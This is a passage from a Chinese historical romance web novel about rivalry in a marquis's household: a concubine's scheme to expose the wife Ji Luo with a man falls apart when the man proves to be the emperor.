两人的气息交缠着,几乎能将彼此吞没。 …… *** 王玉盈听得凝露传来 消息,得知纪萝竟已经与那名男子一同进了廊道旁侧的客房,不由笑出了声来,“原本说是算计她,可不想根本无需算计,她与那名男子若是没有早生了情意,怎会愿意这般孤男寡女与人同处一室?” 说到此处,她神色越发得意,“说不定我这一回还算是做了一桩好事,好歹是让一对有情人终成眷属了!” 凝露也点头附和道:“奴婢见纪氏与那男子举止颇为亲热,确实关系不同寻常!” 王玉盈摆弄着手中锦帕,虽然此时一切还风平浪静,可她却仿佛已经能看到纪萝最后的下场了一般。 她缓步往一旁正努力与那些世家夫人搭话的瑜夏走去,“夏妹妹。” 瑜夏闻声转头,瞧见竟是王玉盈后显然有些意外,“王姨娘可是有什么事?” 王玉盈已是收敛了面上的得意之色,反而是满脸慌张惊恐,好似知道了了不得的大事,她凑近瑜夏,更是压低声音道:“夏姨娘,你可瞧见姐姐了?” 瑜夏自然知道她口中的姐姐指的便是纪萝,左右瞧了瞧之后,摇头道:“不曾瞧见。” 见王玉盈神色这般古怪,她也不自觉多问了一句,“这是出什么事了么?” “方才我瞧见……”她抿了抿唇,似乎是纠结了许久才算打定主意开了口,“瞧见姐姐她与一位身着锦袍的贵公子进了客房,我想着这孤男寡女的,怕是有诸多不妥之处,可这事毕竟干系到咱们永宁侯府声誉,我也不敢随便将此事说与外人,但倘若全然不管……” 王玉盈一边说着,一边有意无意地打量着瑜夏的神色变化,果然见她一脸不敢相信,“你可瞧清楚了,当真是夫人?” “这种事我哪里敢胡言?”王玉盈忙咬死了此事,“我初时瞧见也以为是看错了,还特意走得近些,确定了就是她才敢来与你说的。” 瑜夏下意识捏住手里的帕子,皱眉似乎在思忖着什么。 王玉盈见她这般神色,心下明白自己的计划应当是成了,可却还故作无奈地叹了口气道:“罢了,再如何说我们也不过是个妾室,管不到正式夫人的头上,这事若是闹出来反而还难看,我只当作不曾看见便是。” 她这番以退为进,却是故意将自己摘了出来。 便也是说她是无心参与此事,后边若是瑜夏如何安排,又是惹出什么事端来,便都与她没有干系了。 瑜夏或许能考虑到这一层,可她却是秋和的表妹,如今能做侯爷的妾室也是少不了秋和的引荐。 如今出了这样的事,她或许不会与旁人说,但却无论如何都不会瞒着秋和的。 而这秋和又正好是王氏的贴身婢子,她若是知晓了此事,定是会向王氏禀报的,而王氏若是知晓,这事便是再也藏不住了…… 果然瑜夏听着王玉盈这般说,也显然已经是一副心不在焉的模样,只含糊应着,而后便寻了由头转身走了。 而瑜夏前脚从王玉盈这里得了消息,后脚便赶去华庆院寻了秋和。 今日是王氏寿辰,秋和自然也忙前忙后少有空闲时间。 瑜夏心里装着事,眼见秋和这般忙碌,一时也是着了急,索性直接将她拉到一旁,压低声音道:“表姐,纪氏好似这会儿正在与旁的男人幽会。” 瑜夏语出惊人,秋和一下子也顾不上责怪她碍着自己做事,只瞪圆了眼睛,“谁与你说的?” 在秋和面前,瑜夏自是无心隐瞒,就如竹筒倒豆子般将王玉盈与她说的那些话尽数告知了秋和,“这种事可不是小事,那王姨娘好似也因着这事被吓着了,一直劝着我不要告知旁人。” 瑜夏想起方才王玉盈与她说起这事的神情,越发觉得此事多了几分可信度。 毕竟这种事,谁人敢胡乱编造? 秋和虽知王玉盈不是什么好人,故意与瑜夏说这些也是有她自己的算计,毕竟她一心想着能坐上正室夫人的位置,对纪萝的敌意也更是不必多说,否则当初她才被赵承嘉带回侯府,便也就不会算计着纪萝被赶去那庄子了。 可秋和心里也同样明白,这种事确实没人敢胡言,倘若追究起来这事是假的,她也少不了要受牵连。 瑜夏见秋和始终沉默着,心下也不由有些着急,“表姐,虽说今日是老夫人寿辰,可却也不能当作什么事都没有发生般就这样过去罢?” 秋和到底性子稳重些,虽说她心底也因这事颇为意外,可这会儿却已经稳住了心绪,“这事你千万莫要与旁人说,后边的事你也不必再管,我自会处理。” 听秋和都这般说了,瑜夏虽还想再问些什么,却也不好再开口多说,只能点头应着。 而王氏这边这与几位素来交好的世家夫人正在说这话,秋和定了定心神,却是私下吩咐人去瑜夏所说的那间客房去了一趟,又等人回来同她说明了情况,这才咬牙走到王氏身边,又是稍站了片刻,而后才贴近王氏耳边低语了几句。 王氏脸色一变,看向秋和的眼神中比起愤怒更多的却是怀疑,只是秋和却又点了点头,算是肯定了此事。 秋和在王氏身边伺候多年,王氏知道她性子向来稳重,定是不会在这种事上边胡言的。 那几个正与她说着话的世家夫人也瞧出她神色不对,看过来的眼神也不免有些好奇。 而王氏察觉这些目光,不论心底如何心绪,却也不能在这些世家夫人面前显露,于是勉强挤出笑意道:“我这不巧正好遇上些事,诸位夫人先在此处饮茶吃些点心罢。” 那些个世家夫人虽说心底好奇,可既然王氏都如此说了,她们自然也不好多问。 谁人家中没有些后宅大院里头的阴私之事,不能与旁人言说也是正常,更是不必费心探知。 等那些世家夫人都客气应着,王氏才转头出了华庆院,眸色也冷了下来,她看向秋和道:“带我过去。” 秋和应着“是”,便在前边带路。 王氏虽确实不喜纪萝,可到底与她相处了几年,也总不觉得她是能做出这种事来的人。 更何况后边有了王玉盈做对比,王氏甚至将她看顺眼了几分,觉得她好歹不至于像王玉盈一般满腹算计。 可如今看来,竟又是自己看错了人么? 永宁侯府里还从未出过这般肮脏事,如今算是头一回了。 王氏越是想着,心底的怒火便烧得越发没法休止。 倘若这事为真,纪氏是万万不能留在侯府了。 虽说为了保全侯府名声,此事不能为外人道,但这样的人也总不能继续留着,打发到庄子上由着自生自灭便是。 依着他们永宁侯府的门第,即便是续弦,想找个人品端正,身份不低的也不算难事。 只是到时候少不了要多费些心思罢了。 秋和见王氏面色难看,一路上也不敢多言。 虽说她前头安排的人生怕打草惊蛇,所以只是在门外偷偷瞧了一眼,但却也瞧见里间的床榻上似有人影。 这般说来,此事便已经是八九不离十了。 秋和想起纪萝那副端庄娴静的模样,心下也依旧会有几番不敢相信,她嫁入永宁侯府三载有余,从未行过任何逾矩之事,如今竟是当真…… 大约与侯爷这些时日的荒唐行径也有些干系罢? 秋和也不知怎的,就算确定了纪萝当真行了此事,她心底对纪萝竟也无法生出厌恶来。 大约这些年来也是看着她如何打理侯府的诸多事务,知晓她实在不易,偏偏侯爷的心也不在她身上,如此说来,也实在可怜罢? 这般想着,秋和已经引着王氏到了廊道旁侧的客房前。 那客房的大门上正落了一把锁,也是方才秋和吩咐人留下的。 虽说她对纪萝实在同情,可就算再如何同情,她也分得清自己是为何人做事的。 将门锁好是为了里间的人没法 逃走,让她们再过来时反而扑了个空。 这时王氏既然已经到了,秋和便也拿了钥匙上前开了锁。 第46章 而廊道外间的花草景致旁,王玉盈正目光定定地盯着客房的方向, 眼看秋和已经开了锁,她的心也不由提了起来。 虽说到目前为止一切都尽在掌控中,可见王氏推门进去,她心下还是依旧有隐约的不安。 接着王氏踏进里间,王玉盈瞧不见里间发生何事,只能压下心底不安,等待着里边动静。 而王氏压着心里的火气踏进屋内后,却见一身着锦衣的男子正从里间走过来,她下意识抬眸,可在瞧清楚那男子面容之后却吓得慌忙跪了下去,“臣妇见过陛下。” 跟在她身后的秋和更是连谢元墨的面容都不曾瞧清楚便跟着一同跪了下去,而听得王氏竟称那人为“陛下”之后才算回过神来,这人竟是当今天子! 今日王氏寿辰,天子确实带了寿礼前来贺寿,甚至在华庆院与王氏说了些客气话,而后又说好久不曾来永宁侯府,想在园中随意逛逛,令王氏不必安排人陪同,之后天子出了华庆院,她们也确实没再见人。 方才王氏得知纪萝与一男子行肮脏之事,这般着急前来处理,其实也与天子就在府中有些干系。 这事若是闹到天子面前,可就不仅仅只是颜面的事了,怕是会连累赵承嘉在天子心底的印象。 凡事与赵承嘉有关的,在王氏心底都是大事,若能悄无声息地处理妥当自然是最好。 可是谁人能想到,客房中的所谓男子根本不是旁人,竟就是当今天子呢! 秋和跪在那儿,连身子都克制不住微微颤抖起来,即便天子并不曾开口,可只是站在面前,她便能感受到那种无形的威压,压得人几乎喘不过气来。 谢元墨垂眸看向跪拜于地的二人,微微皱眉道:“朕方才在府中赏景,生了倦意,故在着客房中稍作歇息,不知老夫人此时进来,是何意?” 王氏到底是见过世面的,此时已经勉强稳住了心神,赔笑道:“臣妇并不知陛下在此间歇息,误闯进来,扰了陛下歇息,还望陛下恕罪。” “是误闯进来,还是有什么别的缘故?”谢元墨神色虽无变化,可等话音落下,王氏额间却已经冒出细密的冷汗来。 她全然无法揣测谢元墨这话里到底是什么意思,是已经知道了什么,还是只是对她们没由来的打扰有些不满? 可不管到底是什么缘故,此时的她都不可能将事情原委道明,于是只能勉强道:“回陛下的话,只是误闯,并非有旁的缘故。” 谢元墨这才移开目光,声音骤然冷了下来,“既是如此,那老夫人还有旁的事吗?” 王氏很快反应过来,天子这是无心与他们计较此事,只是少不了依旧因为此事有些不快。 王氏不敢再多言,匆匆起身道:“那臣妇就先退下了。” 见天子颔首,王氏这才与秋和一同退了出去。 只是在起身的一瞬,她却下意识往天子掩在身后的床榻方向看去,虽只是匆匆一眼,可她依旧看到那稍显凌乱的床榻,她不敢多看,很快收回了目光,可心底却到底存了疑。 出了房门,秋和慌忙向王氏解释道:“奴婢前头安排人来瞧过,但因着怕打草惊蛇,并不敢细瞧,只隐约见着里边确实是有人便以为……” 可秋和的话还不曾说完,王氏却思忖着转过头来看向她,“你亲自去一趟青萝院,看一看纪萝到底在不在院中。” 秋和猛然回过神来,下意识往客房的方向看去,“您的意思是说……” 虽说里间之人是当今天子,可却也并不代表纪萝便不在此房中。 但若是两人都在,孤男寡女这般共处一室,岂非是…… 秋和简直不敢再往下细想。 但王氏显然也正是想到了这一层,事已至此,她也无法不去验证一番。 倘若纪萝此时正在青萝院中,那便说明一切皆是无稽之谈,倘若寻不着纪萝,即便另一人是当今天子,她只得咽下这口气,半分追究不得,可心底却总少不了会留下一根尖刺。 见秋和神色诧异,王氏亦是叹了口气,“我也不过是求个心安罢了。” 如此,秋和只能应下,而后匆匆往青萝院方向去了。 至于王玉盈等人,她躲藏在外间,原本以为闹出这样的事来,即便王氏有心藏着,自己正在门外,也能瞧出些动静。 可不想王氏与秋和二人却悄无声息地走了出来,甚至出来之后还小心翼翼地将门关上,这哪里像是来捉/奸的? 王玉盈疑惑地看向一旁凝露,而凝露觉察到王玉盈的目光,也慌忙垂首解释,“方才奴婢确实是亲眼瞧见那男子将纪氏搀进了那间客房的,按理来说,纪氏与那男子此时应当就在里间才是。” 王玉盈皱眉,“倘若当真如你所言,那老夫人竟是不管?” “许是……”凝露绞尽脑汁地思忖着,迟疑着道:“许是里边那个男子身份贵重,便是老夫人也不敢得罪了,如此只能咬牙将此事掩过去……” 这是凝露唯一能想到的可能。 王玉盈闻言,大约也觉得确实有这个可能,神色倒是稍稍缓和些,“不论里间的那男子到底是如何身份,纪氏眼下还是永宁侯夫人,即便和离,也依旧是嫁过一回人的了,那男子身份越高,越是不可能当真将纪氏放在心上,不过是贪图容色,一段露水情缘罢了。” 王玉盈说这话时唇角微微扬起,眼底有得意之色一闪而过,仿佛对纪萝的身份很是不屑。 却是忘记了当初她入侯府时,却也是才与旁人和离不过几月,甚至还是用那样手段才入了府,最后也不过只是个妾室。 她此时心里已经是有了底,“眼下或许碍于那男子的颜面,老夫人暂且忍了过去,等今日宴席之后,想来定会与纪氏清算,到时候纪氏定不会有好下场。” 凝露心下微松,又下意识往客房方向看去,“那里间……” 王玉盈却沿着石子小道往回走,“里间那位人物既是连老夫人都开罪不起的,我更是不好得罪,这会儿就没必要上赶着往前凑了,到时候再将我牵扯其中反而更是不好。” 她说着看,唇边笑意愈发深了,“我只等着看好戏便是。” *** 青萝院。 秋和依着王氏的吩咐,片刻也不敢耽误便匆匆赶至青萝院。 等到了青萝院,吉香正在院子里修建花草枝叶,见了秋和过来,忙上前行了一礼,“秋和姐姐怎么过来了?” 吉香虽才来侯府不算久,可却也是远远见过秋和几回,知晓这位是王氏身边贴身伺候的婢子,所以在她面前自是客气恭敬几分。 可秋和此时却并无时间与她在此处闲谈,便只道:“你们家夫人可在?” 吉香神色微微一顿,而后扯出笑意道:“夫人她这几日颇为劳累,这会儿身子有些不适,所以回来稍作歇息,可是老夫人那边有什么要紧事?” 秋和瞧出吉香神色似有古怪,想起王氏的那一番话,心底自是越发怀疑,便道:“老夫人听说夫人身体不适,特吩咐我前来探望。” 说着,她一边抬步往里间走去,一边道:“夫人现下是在里间歇息罢?” 可吉香却神色有些慌张地上前来拦下了秋和,“夫人这会儿才喝了汤药歇下,怕是不好打扰。老夫人这边若是有什么话或是有什么吩咐,不如先稍等片刻,等夫人醒了,奴婢定会将老夫人的意思原模原样的带到夫人跟前。” 原本秋和对纪萝的怀疑可能只有五分,听了王氏那些话之后,心底的怀疑最多也不过六分,可吉香这副故意阻拦的模样,却让她心底的怀疑至少到了九分。 毕竟倘若纪萝当真如同她所说那般只是在里间歇息,她全然没有必要这样再三阻拦。 就仿佛是心里有鬼。 秋和瞥了吉香一眼,语气也冷了下来,“老夫人是令我前来探望夫人的,倘若我人都不曾见着,就这般回去,你让我如何同老夫人交代?” 到底是在王氏身边伺候多年的,即便只是个婢子,却也与寻常奴婢不同。 她这话说出口,吉香即便再有心思,却也是连反驳之言也说不出口来。 秋和说完,也不再多看吉香一眼,大步便往房间方向去了。 事到如今,哪怕这事与她并无多大干系,她也越发好奇此时纪萝到底在不在里间,与当今天子,又是什么样的关系? 到了门前,她轻轻叩了叩门,“夫人可在?奴婢是老夫人身边的秋和,依着老夫人的吩咐过来探望您。” 过来开门的是凝露,只是她开门之后却有意无意地堵在了门口,颇有些歉意道:“秋和姐姐,夫人这才刚歇下,您有什么话不如先与我说,等夫人醒了,我定会将话一字不错带到。” 又是这般托词。 秋和心底的怀疑到达了顶峰,索性推开凝露大步走进了里间,“夫人可在?” 第47章 倚在躺椅上小憩的纪萝缓缓睁开眸子,喉咙有些干涩地轻咳了几声,“是母亲有什么吩咐么?” 秋和神色一顿,而后满腹怀疑地上前,等瞧清楚面前人当真是纪萝后,她一时有些没有回过神来,等凝露端来了茶水后才想好了说辞,“老夫人听说夫人身子不适,实在放心不下,所以让奴婢前来探望。” 纪萝抿了口温热的茶水,摇头道:“我身子无碍,方才用过汤药已是好了大半,眼下稍作歇息便无事了。” “夫人无事,老夫人也就放心了。”秋和点头,“既如此,那奴婢便不打扰您歇息了,奴婢这就去向老夫人回话,也好让老夫人安心。” 纪萝自是答应。 只是等秋和转身出了房门,里间的二人才不由松了口气。 显然此事极为惊险,倘若秋和再早来一些,恐怕还当真会被她觉出端倪来。 毕竟纪萝也不过前脚才回了青萝院。 不过眼下秋和既然在青萝院见到了纪萝,想来心底的怀疑也应当尽数消解了。 秋和打消了怀疑,王氏那边便也应当不会再有旁的念头。 这一劫,便算是过去了。 只是纪萝回想起方才与周南星在客房中所行之事,脸色却依旧不由微微发烫。 她早不将赵承嘉当作夫君,自是并不会因此对他生出愧疚心事。 他当初何尝不是瞒着自己与王玉盈珠胎暗结,倘若不是王玉盈的那一桩婚事,自己恐怕永远也不知他们之间的那些肮脏事。 他不曾将自己当作妻子,自己又何必将他当作夫君? 只是周南星…… 纪萝心底涌上千般滋味来,她或许早知道他对自己的情意,甚至也不可避免地利用了这份情意…… 可方才在床榻上,他贴近耳边,几乎意识不清时,说的却是“阿萝,嫁给我好不好?” 纪萝不得不承认,在那一瞬,她是心动的。 可她依旧什么也没有说,只是贴近他的唇,将他要说的那些话都尽数吞咽。 其实那时候,纪萝并非不曾瞧见他眼底那一抹受伤,可她只能装作不曾看见,拖着他,在欲/望的深海中沉沦下去…… *** 华庆院。 秋和已经将方才之事尽数说了,“夫人确实是在青萝院歇着,说是因着数日疲累的缘故,所以身子有些不适,奴婢见了她,瞧她脸色是不大好,想来……或许与前头落了胎,又去了那偏僻的庄子折腾了一遭,没养好身子有些关系。” 王氏听得秋和这般说,想起纪萝回来后自己确实是安排了不少事情给她。 府中的大小事务还不算,特别是临近她的寿辰,需要费心的事情实在不少,这些事情她都尽数交给了纪萝。 虽说如今生了些误会,可若是只看这寿宴,纪萝是将一切都尽数安排妥当了,并未有半分岔子的。 这些繁复之事,她能办得这样漂亮,自是要费不少心神。 想到此处,王氏轻轻叹了口气,“等宴席结束了,你让人往青萝院送些上好的药材,这些日子就让纪氏先好好养着身子罢。” 秋和自是应着,她顿了片刻,又道:“这消息虽是夏姨娘与奴婢说的,但夏姨娘也说她是从王姨娘那儿得来的消息,王姨娘与夫人向来……” 这番话已经在秋和心里酝酿许久,这会儿才算得了机会与王氏解释清楚。 瑜夏才入侯府不久,又不得侯爷宠爱,也算是自己在老夫人面前得些脸面,如此老夫人对瑜夏才算偏爱几分,可如今闹出这样的事情来,瑜夏又已被牵扯其中,秋和自是想着为她做些解释的。 否则瑜夏往后在这侯府的日子,怕是不好过。 可她的话还未说完就被王氏抬手打断,“今日的寿宴还不曾结束,府中宾客也还不曾尽兴,总还是要招待着。” 她一边说着一边往宾客席中走去,“别的事,就等晚上宾客散了,再说吧。” 现在确实不是深究此事谁对谁错的时候,府中尊贵宾客众多,若当真传闻出去,永宁侯府怕是又要沦为众人口中的笑谈了。 王氏作为主母,无论如何也总是要留住这份体面的。 秋和醒过神来,也忙应了个“是”。 而等到入夜,宾客散去后,秋和按照王氏的吩咐,便先将瑜夏唤了过来。 瑜夏知晓这次的事是自己错信了王玉盈,得知王氏要见她,心底更是紧张得不行,一个劲儿得向秋和打听,“表姐,老夫人这回是不是发了好大一通脾气,等会儿见了我,大约要更是恼火了。” 她越是说着便越是担心,“老夫人会不会因着这事将我赶出府去?” 她好容易才入了侯府,虽不过只是个妾室,可像她这样的身份,能在侯府做个侍妾已经是从前想也不敢想的事儿了。 若当真要将她赶出府去,那她这些时日的心机算计,岂不是都全然白费了? “放心吧。”秋和叹了口气,“你将你知道的那些事如实说了便是,我在老夫人身边伺候了那么多年,也算得脸,这件事你虽有错,可说到底也不能全怪你,老夫人知晓王姨娘与夫人间那些恩怨,自然能想通这事到底是何人在背后算计,顶多不过数落你几句罢了。” 听着秋和这一番话,瑜夏心下才算安定些。 也是,好歹自个表姐是老夫人身边人,少不得会为自己说些好话。 只是即便如此想着,等到了华庆院,再见了王氏之事,她的心依旧是不由提了起来。 王氏倒是没有苛责她的意思,今日这桩事她虽还不曾喜欢,可大约是什么情况其实心底也已经有了猜测。 不过还是要听听她们到底如何说,于是问道:“瑜夏,今日唤你过来,你应当也知晓到底是为了何事,你便同我好好说说,那消息,你到底是从何处得来的罢?” 瑜夏忙点头,老老实实将事情的来龙去脉说了个明白,“这事是王姨娘同妾说的,妾原本只在与几位夫人说话,可却见王姨娘神色慌张地过来要与妾说些什么,妾与王姨娘素无往来,见她这副模样也觉得奇怪,便多问了一句,没曾想她却说亲眼瞧见夫人与一位男子……” 说到此处,她声音不自觉一顿,片刻之后才又斟酌了语句接着道:“说是举止有些逾矩,后来更是一同进了客房,妾听得这话,一时乱了心神,也知不能随意与旁人说起,可想着这样的大事王姨娘即便再如何鬼迷心窍也不敢胡言,犹豫再三还是同表姐说了。” 之后的事王氏自然清楚,秋和听说了这事,也不敢瞒着,索性便告知了她。 秋和也在一旁道:“这事也是奴婢的过错,奴婢不曾确定此事真假便向您禀报,这才惹出这样多事端来。” 秋和虽如此说,可王氏心里也明白,她能在那样短的时间内安排人前去验证一番就已经很是不易,而人在客房中,她总不能令人直接闯进里间,到时候打草惊蛇也是不好。 倘若追究起 来,事情的源头自然是在王玉盈身上。 一提及王玉盈,王氏只觉得有些头疼,可这事既然牵扯到了她身上,那自己也不能不管,便还是吩咐秋和去将人叫来。 *** 观荷院。 华庆院这边的消息捂得实在严实,王玉盈前后安排凝露去打听了几回,可却什么都不曾打听出来。 至于青萝院,凝露也去过一回,但却只听说纪萝身子不适,旁的却再没有多说了。 如此王玉盈心下也多了几分不安,想着这事莫不会出了岔子? 可奈何她怎么打听也不知眼下情况如何,除了安静等着,竟就没了别的法子。 等到了夜里,她连晚膳也不曾用,实在是没了胃口。 原本以为今日应当是等不到一个结果,可不想正当她准备歇下时,华庆院却来了人,令她前去回话。 王玉盈心下一喜,不过面上却不显,甚至还做出不安模样,向秋和打听华庆院这边情况。 秋和原本虽不喜王玉盈,但两人间到底没什么牵扯,可这回王玉盈这番算计却是将瑜夏牵扯其中,这令秋和对她自是多了几分不满,不过明面上却也不曾说什么,只道:“奴婢只是个传话的,王姨娘去了之后便也就知道到底是何事了。” 王玉盈原本也不指望着能从秋和这里打听到什么,她心底早有了猜测,于是也不再多问,换了衣裳之后便急匆匆到了华庆院。 可她到了华庆院后心下却有些奇怪。 按理来说既是要当面对质,纪萝怎么也应当是要在的,可眼下里间却唯有瑜夏一人在。 难道只是要令自己与瑜夏对质? 王玉盈如此想着,可到底不敢多问,只得上前先向王氏行了一礼,“老夫人。” 王氏的目光在她身上定了片刻,道:“瑜夏说,是你告诉她纪氏与旁的男子有逾矩之举,还说她与那男子一同进了客房?” 语气中竟是带了几分责问的意思。 第48章 王玉盈心底越发不安,但也知晓此事难以辩驳,便点头应道:“是,我亲眼瞧见这般景象,一下子慌了神,不敢与旁人说,但又觉得此事不当瞒着,正好瞧见夏姨娘,想着夏姨娘如今也算是侯府的人,所以才将此事说了。” 王氏只问了一句话,王玉盈便生怕没了说话的机会一般将早已编造好的说辞尽数说了出来。 若事情当真如同她所说那般,她所做之事自是挑拣不出错处来。 只是…… 客房内的是当今天子,而纪萝,这会儿还因身子不适正在青萝院歇着呢! 王氏见她到了此时竟还在胡言编造,不由冷笑,“真是荒唐,纪氏根本不在那间客房中,事到如今你还在撒谎!” 王玉盈才一起身,一听王氏这话又吓得慌忙跪了下去,可面上却又不由多了几分疑惑,“她不在?怎么可能不在,我明明亲眼看见她与一个男子进去……” 王氏猛地一拍桌子,“人到底在不在难道我亲自带了人过去还会弄错,我是年纪大了,但眼睛却还没瞎!” 王氏此时是当真生了气,原本她就不同意将王玉盈这般多心机算计之人纳进侯府,只是那桩事情实在闹得难堪,赵承嘉又偏偏当真对王玉盈存了几分真心,王氏这才不得已妥协。 却不想她入了侯府却还不知安分,越发惹出这些事端来。 王玉盈脑子转得极快,自然也明白了王氏的意思。 原来王氏带着秋和进去那间客房后,竟根本不曾见到纪萝。 难怪这事到了后边竟是再没了动静! 可是凝露不是说亲眼看见纪萝与那男子进了客房么?难道是她撒谎? 这样的念头才一出现,就被王玉盈掐灭,倒不是她当真有多么相信凝露这个人,只是凝露为她做的事实在不少,也早已牵扯其中。 在这种事上边算计她,对于凝露而言也并无半分好处。 又何必这样做? 只是此时王玉盈却并没有时间将这一切事情想个明白,事到如今,不论真相如何,王氏已经将话说到这份上,她便已经没了选择余地,于是咬牙道:“许……许是今日来往宾客太多,我一时眼花,看错了……” 这个理由虽说糊弄,可也算勉强能解释过去。 否则她总不能说她提早给纪萝喝的茶水中添了点东西,又一直安排了人盯着她,所以她无论如何也不可能清白罢? 若是这般说或许能将纪萝拖下水,可她自己却也再无法撇清干系。 这样的结果可不是她想要的。 只是王氏听了这一番解释却依旧不曾消了火气,“到底是你看错了,还是你存了想算计人的心思?” 这话王玉盈是不论如何也不敢认的,慌忙摇头道:“老夫人明鉴,妾当真只是一时花了眼,绝无别的心思!” 一旁瑜夏也因这事对王玉盈颇有怨气,虽是在王氏面前,可却也忍不住抱怨了一句,“你都不曾瞧清楚就到我面前说出那些信誓旦旦的话来,倘若不是听了你的话,我又如何会与表姐说,又如何会闹出这些是非来?” 瑜夏的话音才落下,外间便正有脚步声传来,她下意识扭头看去,却见赵承嘉皱眉进来,“这是出什么事了?” 瑜夏与里间的几个婢子连忙见了礼,“见过侯爷。” 而赵承嘉却只瞧见王玉盈眼角含泪地跪在地上,神色有些不虞地上前要搀扶她起身。 可王氏却冷笑道:“你只瞧见她跪在这儿,可知她犯了什么错?” 王氏这话一出,即便有赵承嘉搀扶,王玉盈也并不敢起身来,只得垂首道:“是妾犯了错,应当受罚的,表哥不必为妾费心。” 赵承嘉只得松开手,但语气依旧有些不满,“阿盈身子不好,不论出了什么事,也不至于让她这样跪着。” 今日王氏寿宴,他虽也在侯府,可却一直在男宾席中陪着宾客,甚至因着饮了一些酒还歇了几个时辰,这会儿才醒过来。 华庆院这边的事王氏一直有心压着,定不会让人宣扬了出去,赵承嘉不知也是情理之中了。 “你的好表妹,今日不知是否是看错了还是有别的心思,捕风捉影地到瑜夏面前说什么纪氏与一男子行为不端!”王氏见赵承嘉这般维护王玉盈,语气越发不好,“瑜夏这孩子也是个实心眼,一听这话就当了真,与秋和一说,秋和也不敢瞒着我,我听她们一个个都把这事说得如同真的一般,虽觉得奇怪,可却也不能当作什么也不知道。” “谁曾想等我与秋和亲自去了一趟,纪氏却根本不在,而里间的,可是当今天子!” 王氏的话一说完,在场之人皆是变了脸色。 倘若里间之人是别人,或许赵承嘉心底还会生出几分怀疑来,可偏偏那人竟是当今天子! 即便纪萝生得确实有几分美貌,可天子要什么样的女子没有,怎会在寿宴上与臣妻行这不端之事? 实在是荒唐至极! 前头王氏也并未说明客房里的男子到底是何人,王玉盈也只知那人或许身份贵重,可却无论如何也想不到那竟会是当今天子。 这会儿也不由瘫软在地。 难怪白日里王氏与秋和进了那间客房之后便再没了动静,连出来时都这般小心翼翼,甚至还没忘记好生将门关上,原来……那里间的人竟是当今天子! 这一下,她绞尽脑汁编造的那些谎话便再无半分可信,因为 没人会相信纪萝竟会和当今天子扯上关系。 就连王玉盈自己,也觉得这是绝无可能之事。 王氏见赵承嘉变了脸色,又道:“也是天子不曾与我们计较,否则这事闹起来,怕是整个永宁侯府都落不着好处。” 这一番话说下来,赵承嘉也不好再为王玉盈说话。 她犯下这样的错,只是令她跪上一跪,其实已经不算责罚了。 他顿了片刻,又问道:“阿萝呢,她怎么不在?” 这般说来,纪萝应当算是苦主,不论此事最后如何解决,她都应当是要在的。 听赵承嘉问起纪萝,王氏叹了口气,“纪氏这回确实是受了委屈,这几日原本就为寿宴的事情费了不少心,到头来竟还要被人泼了脏水,她白日里便身子不舒服却还要忙前忙后,这会儿天色不早了,我就让她早些歇着,没让她过来了。” 赵承嘉听得这话,想起纪萝才从庄子里回来便接手了侯府的不少琐碎事务,连同寿宴的事情也多是她在操办,今日又不明不白地受了这般委屈,一时心底不由有些愧疚,他默了默,最终道:“我去看看她。” *** 青萝院。 纪萝这会儿用过汤药,也才歇下。 她身子不适并非是假的,否则要想糊弄王氏也并非那样容易之事。 后头王氏又令人送了些上好的药材过来,显然也是已经消了疑虑。 纪萝心底稍稍安定些,但不想才刚歇下,赵承嘉便到了。 她听着外间婢子行礼的声音,又听见他推门进来的声响,索性闭上眼睛佯装睡了过去。 左右赵承嘉此时过来显然也已经从王氏那儿知晓了她身子不适,她也没有在他跟前忙前忙后侍奉的心思,不如索性装作睡着了,如此,赵承嘉也不好同她计较什么。 果然,赵承嘉走到床榻边上见她已经睡了过去,顿了片刻,便放下了床帘移步到了外间。 纪萝心底稍稍松了口气,原本以为赵承嘉见她已经睡了就会离开,不想片刻后她隐约听着外间传来落笔的沙沙声响。 赵承嘉竟是在她院中处理起公事来。 纪萝的心底不由多了几分烦躁,可到底不可能直接将人驱逐离开,于是只能继续装睡。 但许是因着赵承嘉这一来扰了心情,她原本用了汤药还有几分困倦,这会儿竟是全然清醒过来,越是想睡过去,便越是难以入眠。 如此折腾一番,纪萝索性开始细思白日里发生的这桩事。 王玉盈端来的那杯茶水显然是有些问题的,纪萝当时也确实没有别的选择,几乎是被逼着饮下那杯茶水。 不过她也存了侥幸心理,总以为王玉盈不至于这般胆大。 如今看来还是小看了她。 她这样着急对自己动手,定还是为了侯夫人的位置。 这般举动,就同当初在庄子对自己动手一般无二。 纪萝想着,却听着外间又传来脚步声响,接着似乎是有人在向赵承嘉禀报什么。 四周寂静下,纪萝凝神听着,隐约听到赵承嘉说什么“万不能被天子知晓”“必定要处理干净”之类。 又听得底下那人连连应着。 纪萝的心不由提起,她从前对赵承嘉的公事向来是不关心的,可与王玉盈的这些恩怨却让她不得不多上些心。 只是后边她再想听到什么,那人却已经是推门走了出去。 里间再度安静下来,只余下沙沙落笔声。 纪萝也不知自己何时睡过去的,只知第二日醒来时赵承嘉并不在,这倒省了她费心思敷衍。 而这一日,安排去盯着王玉盈的阿福却也带来了消息。 第49章 王玉盈日日用的汤药并不经过侯府,反而是由她院子里的人亲自去拿了药方取了药,连熬药这样的事也不曾过了侯府之人的手,都是她院中的人亲力亲为的。 这样用心,这其中怕是有些古怪。 阿福说着拿出一小包药渣来,“我趁她院中的婢子不留神,偷偷拿了些药渣过来,想着这方子怕是有些古怪。” 纪萝听了阿福这一番话,也觉得这事奇怪。 倘若是寻常药物,直接从侯府的库房中取药,令厨房的人炖了药送到自个院中便是,全然没有必要事事亲自安排,反而麻烦不少。 唯一能解释的便是这药并不能并不能见人。 如此想着,纪萝神色瞬间凝重许多,她转头吩咐蓉芳去将吉香唤来。 纪萝还在庄子时,吉香曾为她调理身子,虽说吉香性子谦逊,一直说她并不通晓医理,只是多做了几年婢子,略懂些调理身子的法子罢了。 可纪萝却能瞧出她对那些药材的运用颇为熟练,显然并非只是略懂调理身子这么简单。 眼下这一包药渣也不便去外间寻了大夫过来查看,请她过来是最为合适。 不多时,吉香垂首从外间走了进来,纪萝便将那包药渣递给她,“吉香,你瞧瞧这药是用作何处的?” 吉香接过那包药渣,打开后先是细细看了看里边的药材,后又拨开闻了闻,甚至从里间挑拣出几样放在嘴里尝了味道,这才点了头,“夫人,这应当是用于女子落胎后调理身子的药物。” 这倒是没错,据说王玉盈曾为赵承嘉怀过一个孩子,而李氏因着想将王玉盈嫁去孙家,所以狠心逼着她落了这个孩子。 之后她身子大约也受了影响,所以才用这方子调理身子。 只是这事在侯府早已是人尽皆知,实在没必要刻意隐瞒…… 想到此处,纪萝不由多问了一句,“这其中没有什么不寻常之处么?” 